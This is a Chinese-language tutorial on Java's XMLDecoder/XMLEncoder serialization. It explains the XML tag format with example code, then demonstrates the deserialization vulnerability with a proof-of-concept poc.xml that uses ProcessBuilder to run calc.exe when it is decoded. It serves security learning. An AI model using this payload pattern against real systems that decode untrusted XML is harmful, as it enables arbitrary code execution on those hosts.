# XMLDecoder/XMLEncoder
XMLDecoder/Encoder 是在 JDK1.4 版中添加的 XML 格式序列化持久型方案,可以比较使用 Json 格式序列化的 FastJson 库。
使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的 XML 文档获取 JAVAbeans.
# XMLEncoder 示例
# 写入代码:
package XMLdecode; | |
import javax.swing.*; | |
import java.beans.XMLEncoder; | |
import java.io.BufferedOutputStream; | |
import java.io.FileNotFoundException; | |
import java.io.FileOutputStream; | |
public class testwrite { | |
public static void main(String[] args) throws FileNotFoundException { | |
XMLEncoder e = new XMLEncoder( | |
new BufferedOutputStream( | |
new FileOutputStream("src/main/java/XMLdecode/Test.xml"))); | |
e.writeObject(new JButton("Hello, world")); | |
e.close(); | |
} | |
} |
生成的 xml 文件:
<?xml version="1.0" encoding="UTF-8"?> | |
<java version="1.8.0_201" class="java.beans.XMLDecoder"> | |
<object class="javax.swing.JButton"> | |
<string>Hello, world</string> | |
</object> | |
</java> |
# 读出文件:
package XMLdecode; | |
import java.beans.XMLDecoder; | |
import java.io.BufferedInputStream; | |
import java.io.FileInputStream; | |
import java.io.FileNotFoundException; | |
public class testread { | |
public static void main(String[] args) throws FileNotFoundException{ | |
XMLDecoder d = new XMLDecoder( | |
new BufferedInputStream( | |
new FileInputStream("Test.xml") | |
) | |
); | |
Object result = d.readObject(); | |
System.out.println(result); | |
d.close(); | |
} | |
} |
# XML 文档 - 对象和元素
XMLEncoder 生成的 XML 序列化文档表示对象,文档中的每个元素都用来描述如何调用对象的方法。
# string 标签
hello的字符串在文档的表达方式是<string>hello</string>
# object 标签
通过<object>标签表示对象,class属性执行具体类(用于调用其内部方法),method属性指定具体方法名称(比如构造函数的方法名为new)
new JButton ("Hello") 对应的 XML 文档为:
<object class="javax.swing.JButton" method="new"> | |
<string>Hello</string> | |
</object> |
# void 标签
通过 void 标签表示函数调用、赋值等操作,method 属性指定具体的方法名称。
JButton b = new JButton ();b.setText ("Hello, world"); 对应的 XML ⽂档:
<object class="javax.swing.JButton"> | |
<void method="setText"> | |
<string>Hello, world</string> | |
</void> | |
</object> |
# array 标签
通过 array 标签表示数组,class 属性指定具体类,内部 void 标签的 index 属性便是根据指定数组索引赋值。
String [] s = new String [3];s [1] = "Hello, world"; 对应的 XML ⽂档:
对应的 XML 文档:
<?xml version="1.0" encoding="UTF-8"?> | |
<java version="1.8.0_201" class="java.beans.XMLDecoder"> | |
<array class="java.lang.String" length="3"> | |
<void index="1"> | |
<string>helloworld</string> | |
</void> | |
</array> | |
</java> |
XMLEncoder 反序列化漏洞
通过 XMLEncoder 反序列化 XML 文档时可以执行类方法,若 XML 文档可控且构造恶意内容,就可以完成任意代码执行:
反序列化代码:
package XMLdecode; | |
import java.beans.XMLDecoder; | |
import java.io.BufferedInputStream; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.FileNotFoundException; | |
import java.lang.ProcessBuilder; | |
public class xmlDecodeTest { | |
public static void main(String[] args) throws FileNotFoundException { | |
String path = "src/main/java/XMLdecode/poc.xml"; | |
File file = new File(path); | |
FileInputStream fis = new FileInputStream(file); | |
BufferedInputStream bis = new BufferedInputStream(fis); | |
XMLDecoder a = new XMLDecoder(bis); | |
a.readObject(); | |
} | |
} |
poc.xml (恶意 xml):
<?xml version="1.0" encoding="UTF-8"?> | |
<java> | |
<void class="java.lang.ProcessBuilder" method="new"> | |
<array class="java.lang.String" length="1"> | |
<void index="0"> | |
<string>calc.exe</string> | |
</void> | |
</array> | |
<void method="start"/> | |
</void> | |
</java> |
使用 java.lang.ProcessBuilder 进行代码执行,整个恶意 XML 反序列化后相当于执行代码:
String[] cmd=new String[1];
cmd[0]="calc.exe"
new ProcessBuilder(cmd).start();